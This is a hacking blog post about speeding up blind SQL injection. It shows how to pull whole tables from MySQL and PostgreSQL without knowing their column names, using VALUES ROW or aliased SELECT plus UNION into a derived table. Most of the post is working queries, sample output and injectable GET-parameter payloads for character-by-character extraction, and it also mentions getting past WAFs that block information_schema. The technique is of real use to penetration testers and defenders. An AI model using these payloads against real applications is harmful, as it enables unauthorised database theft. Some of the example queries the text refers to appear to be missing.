Faster blind SQL injection exploitation: exfiltrating data without knowing the column names of the tables

(7 min read)

In the exploitation phase after finding SQL injection vulnerabilities, attackers usually exfiltrate all the information stored in the database. But first, in order to exfiltrate all of the information stored in the tables of the DB, the attacker must previously know the column names that compose those tables.

This post will show a method for extracting all the information contained in a table/view without having to know the name of any of its columns at all.

This method can significantly speed-up the exfiltration process, specially in situations where information must be extracted one character at a time as with blind injections. See the following query done in a fresh install of MySQL:

mysql> select count(*) from information_schema.columns;
+----------+
| count(*) |
+----------+
| 3542 |
+----------+
1 row in set (0.12 sec)

This means that a total of 3,542 column names must be extracted in order to be able to craft the queries that will exfiltrate the tables. Next, see the total of all the characters that must be extracted:

mysql> select sum(length(column_name)) from information_schema.columns;
+--------------------------+
| sum(length(column_name)) |
+--------------------------+
| 47026 |
+--------------------------+
1 row in set (0.02 sec)

There is a total of 47 thousand characters that must be extracted to find all the column names in a fresh MySQL install. sqlmap performs 7 requests to extract a single character with blind SQL injections, this means that it would take a total of 329,182 requests to exfiltrate all of the column names.

A database found in a corporate or industrial environment can be extremely larger.

So now, with the method described in this post, around 188,000 requests are going to be avoided and the tables and views will be exfiltrated right away.

Let users be the table that is going to be exfiltrated:

The first instruction that you need to know for this exfiltration method is VALUES. VALUES will let you return a row whose values are explicitly defined in the query:

mysql> values row(0,0,0);
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
| 0 | 0 | 0 |
+----------+----------+----------+
1 row in set (0.00 sec)

As you can see, this query returns one row composed of three columns whose values were defined in the query itself (0, 0, 0). This is convenient because the column names default to column_0, column_1, ..., column_n.

Now it is only a matter of using UNION to append the desired table to the row that has the default column names:

mysql> values row(0,0,0) union select * from users;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

You can use LIMIT to return only one row.

As a result now you have a little table composed of the first row you wish to extract. It is possible to query this table by using it as a derived table (the AS keyword must be used to assign a name to the derived table):

mysql> select column_2 from (values row(0,0,0,0) union select * from users limit 1,1) AS t;
+----------------------------------+
| column_2 |
+----------------------------------+
| 21232f297a57a5a743894a0e4a801fc3 |
+----------------------------------+
1 row in set (0.00 sec)

Now you are querying for specific columns by using the default names. You can also use the default names for testing conditions. These queries would look something like this in a GET parameter vulnerable to SQL injection:

/vulnerable?sqli=1' AND (select substring(column_2, 1, 1) FROM (values row(0,0,0,0) union select * from users limit 1,1) AS t) = '1
FALSE response

/vulnerable?sqli=1' AND (select substring(column_2, 1, 1) FROM (values row(0,0,0,0) union select * from users limit 1,1) AS t) = '2
TRUE response

This attack may vary from one DBMS to another. For instance, in PostgreSQL the default names do not have underscores and the ROW keyword doesn't have to be used:

lab=# values (0,0,0,0);
column1 | column2 | column3 | column4
---------+---------+---------+---------
0 | 0 | 0 | 0
(1 row)

However, in PostgreSQL the data types of each column must match the data types of the rows returned by the UNION clause, otherwise you get an error:

lab=# values (NULL, NULL, NULL, NULL) union select * from users limit 1;
ERROR: UNION types text and integer cannot be matched
LINE 1: values (NULL, NULL, NULL, NULL) union select * from users li...
^

You can solve this by using SELECT instead of VALUES:

In order to avoid getting duplicate column names it is possible to use column aliases for defining custom default names:

lab=# select NULL as custom1, NULL as custom2, NULL as custom3, NULL as custom4 union select * from users limit 1 offset 1;
custom1 | custom2 | custom3 | custom4
---------+-----------+----------------------------------+-------------------
5 | acid-burn | f40a32a42ce18d2fbf83e2685543e940 | acid-burn@lab.com
(1 row)

So just to conclude, column aliases can also be used with MySQL so there is really no need to use VALUES unless you want to shorten your injection:

This method can also be useful when information_schema cannot be read because of lack of permissions or because there is a WAF blocking that keyword. Guessing some table names can be much easier than guessing all the columns in a given table.

And that's it for now. Happy hacking.

Filed under: Hacking,SQL,Web Application Security - @ 2025-04-23 07:31

Tags: blind, column, column names, column_name, columns, information_schema, information_schema.columns, injection, sql, sql injection, sqli